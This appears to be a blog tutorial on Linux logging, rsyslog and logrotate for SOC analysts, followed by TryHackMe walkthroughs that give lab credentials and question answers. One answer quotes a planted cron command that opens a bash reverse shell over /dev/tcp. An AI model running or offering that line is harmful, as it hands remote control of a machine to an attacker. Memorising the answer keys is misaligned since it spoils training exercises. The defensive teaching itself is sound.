Understanding Linux Logging & rsyslog (Foundations)

Linux logs are the primary source of evidence when troubleshooting systems or investigating security incidents. Almost every action on a Linux system — logins, services, kernel events, scheduled jobs — leaves a trace in a log file. Knowing where logs live and how they are generated and managed is a core skill for system administrators and SOC analysts alike. we use them for performance optimization, troubleshoot , Soc analysis ( using ai too ).

Where Linux Logs Live

By default, Linux stores logs under the /var/log directory. This directory contains multiple files, each serving a different purpose — from authentication events to kernel messages. Rather than having a single log file, Linux separates logs by function and sensitivity, making analysis more precise.

Common examples include:

• Authentication and authorization logs
• Kernel and system messages
• User login history
• Application-specific logs

Understanding which file to check depends on the question you’re trying to answer — for example, “Who logged in?” versus “Why did this service fail?”

Reading Log Data (Human vs Binary Logs)

Some Linux logs are plain text and can be viewed using tools like cat, tail, or grep. Others (such as login history logs) are stored in binary format and require dedicated commands like who, last, or lastlog to interpret them correctly.

From a security perspective, these logs help answer:

• Who accessed the system?
• From where?
• When?
• Was the access successful or denied?

These details form the timeline of an investigation.

rsyslog: The Core of Linux Logging

At the heart of Linux logging is rsyslog, the daemon responsible for collecting log messages from the system and routing them to appropriate destinations. It listens to messages generated by the kernel, services, and applications, then decides what to log, where to log it, and how to handle it. Some log files are controlled by a daemon called rsyslogd. The rsyslogd daemon is an enhanced replacement for sysklogd, and provides extended filtering, encryption protected relaying of messages, various configuration options, input and output modules, support for transportation via the TCP or UDP protocols. Note that rsyslog is compatible with sysklogd.

rsyslog is highly configurable and can:

• Store logs locally
• Forward logs to a remote server
• Broadcast critical messages to users
• Act as a centralized log collector

System / App
   ↓
rsyslog
   ↓
Log files or Log forwarder
   ↓
ELK / Splunk / SIEM
   ↓
SOC analysis & alerts

This flexibility is what makes rsyslog suitable for both standalone systems and enterprise environments.

then we TEST.

How rsyslog Decides What to Log

rsyslog uses a selector → action model:

• The selector defines which messages are matched
• The action defines what happens to those messages

To create a selector, use the following syntax:

FACILITY.PRIORITY

where:

• FACILITY specifies the subsystem that produces a specific syslog message. For example, the mail subsystem handles all mail-related syslog messages. FACILITY can be represented by one of the following keywords (or by a numerical code): kern (0), user (1), mail (2), daemon (3), auth (4), syslog (5), lpr (6), news (7), cron(8), authpriv (9), ftp (10), and local0 through local7 (16 - 23).
• PRIORITY specifies a priority of a syslog message (origin). PRIORITY can be represented by one of the following keywords (or by a number): debug (7), info (6), notice (5), warning (4), err (3), crit (2), alert (1), and emerg (0). Not just Facility/Priority-based filters we also have Property-based filters and Expression-based filters .
• Example 23.1. Facility/Priority-based Filters
• The following are a few examples of simple facility/priority-based filters that can be specified in /etc/rsyslog.conf. To select all kernel syslog messages with any priority, add the following text into the configuration file:kern.*
• To select all mail syslog messages with priority crit and higher, use this form:mail.crit
• To select all cron syslog messages except those with the info or debug priority, set the configuration in the following form:cron.!info,!debug

About actions : The following are some of the actions you can define in your rule:

1. Saving syslog messages to log files > *FILTER* *PATH (static or dynamic)*
2. Sending syslog messages over the network > @(z*NUMBER*)*HOST*:*PORT*
3. Output channels > $outchannel *NAME*, *FILE_NAME*, *MAX_SIZE*, *ACTION *#primarily used to specify the maximum size a log file can grow to. This is very useful for log file rotation (we mention later)
4. Sending syslog messages to specific users
5. Executing a program > *FILTER* ^*EXECUTABLE*; *TEMPLATE*
6. Storing syslog messages in a database > :*PLUGIN*:*DB_HOST*,*DB_NAME*,*DB_USER*,*DB_PASSWORD*;*TEMPLATE*
7. Discarding syslog messages > use stop. ( ~)

Any action can be followed by a template that formats the message. to learn more about templates take a look here.

This structure allows fine-grained control — for example, logging only high-severity authentication failures or capturing all messages from a specific service. The main configuration file for rsyslog is /etc/rsyslog.conf. Here, you can specify global directives, modules, and rules that consist of filter and action parts. Also, you can add comments in the form of text following a hash sign (#).

From a SOC standpoint, this is critical: it ensures important security events are not lost in noise.

Custom Logs & Testing

Linux allows administrators to create custom logging rules using local facilities. With tools like logger, it’s possible to generate test messages and confirm that rsyslog routes them correctly. This is especially useful when validating new configurations or learning how log pipelines behave.

Being able to generate and verify logs is a key skill when setting up monitoring or SIEM ingestion.

Log Rotation: Managing Log Growth

Logs grow quickly. To prevent performance and storage issues, Linux uses log rotation. Instead of deleting logs, older files are archived, renamed, and optionally compressed. This ensures:

• Recent logs are always available
• Historical data is preserved
• Disk space is controlled

The following is a sample /etc/logrotate.conf configuration file:

# rotate log files weekly
weekly
# keep 4 weeks worth of backlogs
rotate 4
# uncomment this if you want your log files compressed
compressAll of the lines in the sample configuration file define global options that apply to every log file. In our example, log files are rotated weekly, rotated log files are kept for four weeks, and all rotated log files are compressed by gzip into the .gz format. Any lines that begin with a hash sign (#) are comments and are not processed.

All of the lines in the sample configuration file define global options that apply to every log file. In our example, log files are rotated weekly, rotated log files are kept for four weeks, and all rotated log files are compressed by gzip into the .gz format. Any lines that begin with a hash sign (#) are comments and are not processed.

For security investigations, rotated logs often provide historical context that explains how an incident developed over time.

Why This Matters for Security & SOC Work

Linux logs are more than system noise — they are evidence. Understanding rsyslog and log rotation helps SOC analysts:

• Track authentication attempts
• Detect misconfigurations
• Identify suspicious patterns
• Correlate system activity with network events

Mastering these fundamentals is a prerequisite for effective incident detection and response.

📎 Reference

***DigitalOcean — How To View and Configure Linux Logs on Ubuntu, Debian, and CentOS. [RedHat Documentation ](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/system_administrators_guide/ch-viewing_and_managing_log_files#s2-Filters)*— Viewing and Managing Log Files.

➡ Hands-On: Intro to logs TryHackMe Walkthrough

Quick SOC Notice (Why this section matters)

Logs are historical truth. Packets show what is happening now; logs show what already happened. For a SOC analyst, correct collection, time sync, and centralisation decide whether an incident can be reconstructed or not.

This section focuses on:

• Where logs come from
• How they are collected and centralised
• Why time accuracy (NTP) is critical
• How rsyslog is used in real environments

I will describe the room’s workflow then i’ll give you the answers ( many of them don’t need the VM is just conceptual from the sections learning. First you run the terminal and start rsyslog service then make sure it’s running .

rsyslog is located under /etc so we will open the folder and list it to see what inside

read default.conf file to see where to redirect (save) mail “information , warning , errors seprated “ kernal and user logs too

configuration file for CORN to redirect the corn’s logs locally at /var/log/websrv-02-corn.conf and forward it to SIEM (all) with the ip > 10.10.10.101 . we configured Property-based filters using PROPERTY and COMPARE_OPERATION and STRING attribute.

now we asked to collect logs from > sshd , start with creating conf file and redirect the logs to save it locally then read the file to get what you asked for in the room ( if file doesn’t shown when you list /var/log/rsyslog/websrv-02 / you need to restart rsyslog as wait for 1–2 minutes )

rsyslog_cron.log1–3.gz are just for past logins .

you can find the attacker name ( who trying indicating failed login attempts or brute forcing )

here we can read what command is being executed by the root user.

now let’s take a look for Log Rotation

Log Lifecycle (Storage → Retention → Deletion)

[ Log Sources ]
 (Servers, Apps, Network)
          |
          v
[ Log Collection ]
 (rsyslog / agents)
          |
          v
[ Central Storage ]
          |
          v
+----------------------+
|   Retention Tiers    |
+----------------------+
| Hot  | 3–6 months    | → Active SOC monitoring
| Warm | 6m–2y         | → Historical analysis
| Cold | 2–5y          | → Compliance / audits
+----------------------+
          |
          v
[ Backup & Integrity Checks ]
          |
          v
[ Secure Log Deletion ]

Log Rotation (logrotate — Why It Matters)

Log rotation prevents log files from growing indefinitely by splitting, compressing, and aging out logs automatically. This ensures systems remain stable while preserving forensic value.

Using logrotate, organisations can:

• Rotate logs on a schedule (daily, weekly)
• Compress old logs to save space
• Enforce retention limits
• Maintain integrity through hashing

Your example goes a step further by:

• Hashing rotated logs (for integrity validation)
• Restarting rsyslog to ensure continuity
• Creating an audit trail of stored log hashes

That’s excellent SOC hygiene, not beginner-level.

Task 1: Introduction

Ans: No answer (click done)

Task 2: Logs as Evidence

VM: ssh damianhall@MACHINE_IP (pass: Logs321!)

Q1: Colleague’s name from Desktop note? Ans: Perry​

Q2: Suggested log path? Ans: /var/log/gitlab/nginx/access.log​

Task 3: Types & Formats

Q3.1: Log type? Ans: Web Server Log​

Q3.2: Log format? Ans: Combined​

Task 4: rsyslog Collection

sudo -l → limited sudo access

rsyslog config (nano /etc/rsyslog.d/98-websrv-02-sshd.conf):

$FileCreateMode 0644
:programname, isequal, "sshd" /var/log/websrv-02/rsyslog_sshd.log

sudo systemctl restart rsyslog

Q4.1: Brute force username in rsyslog_sshd.log? Ans: damianhall (cat /var/log/websrv-02/rsyslog_sshd.log)​

Q4.2: SIEM-02 IP (cat /etc/rsyslog.d/99-websrv-02-cron.conf)? Ans: 10.10.10.101​

Q4.3: Root cron command (cat /var/log/websrv-02/rsyslog_cron.log)? Ans: /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.101/4444 0>&1"

Task 5: logrotate Management

Config (sudo nano /etc/logrotate.d/98-websrv-02_sshd.conf):

hourly
/var/log/websrv-02/rsyslog_sshd.log {
    rotate 24
    compress
}

sudo logrotate -f /etc/logrotate.d/98-websrv-02_sshd.conf

Q5.1: Old copies kept (99-websrv-02_cron.conf)? Ans: 24​

Q5.2: Rotation frequency? Ans: hourly​

Task 6: Log Analysis

Log viewer: Filter /var/log/websrv-02/rsyslog_cron.log

Q6.1: Error shown? Ans: no date field​

Q6.2: Standardizing parsed data? Ans: Normalisation​

Q6.3: Consolidating by IP? Ans: enrichment​

Workflow

1. SSH → Desktop note → log path
2. cat access.log → ID type/format
3. rsyslog: config → restart → cat log
4. logrotate: config → rotate -f
5. Log viewer + concepts​

➡ Hands-On: Logs Fundamentals TryHackMe Walkthrough

Task 1: Introduction

Q1: Where do we find most attack traces? Ans: logs​

Logs are digital footprints for investigation.

Task 2: Log Types

Q2.1: Network traffic logs? Ans: Network Logs

Q2.2: Authentication logs? Ans: Security Logs

Task 3: Windows Event Viewer

VM: RDP Administrator:logs@123

Steps:

1. Event Viewer → Windows Logs → Security
2. Filter Current Log → Event IDs

Key Event IDs:

IDEvent4624Login success4625Login failed4720User created

Q3.1: Last user created? Filter 4720 → newest → hacked

Q3.2: Who created it? Subject field → Administrator

Q3.3: Account enabled date? Filter 4722 → 1/17/2026

Q3.4: Password reset? Filter 4724 → Yes

Task 4: Web Access Logs

File: /root/Rooms/logs/access.log

Commands (macOS: use single quotes '):​

grep 'GET /contact' access.log | tail -1
grep '172.16.0.1' access.log | grep 'POST'

Q4.1: Last GET /contact IP? Ans: 10.0.0.1 (last line)

Q4.2: Last POST by 172.16.0.1? Ans: 06/Jun/2024:13:55:44

Q4.3: POST URL? Ans: /contact

Key Takeaways

• Windows: Event Viewer + Event IDs
• Web logs: grep 'pattern', tail, sort -k1,2
• Logs = attack traces for RCA​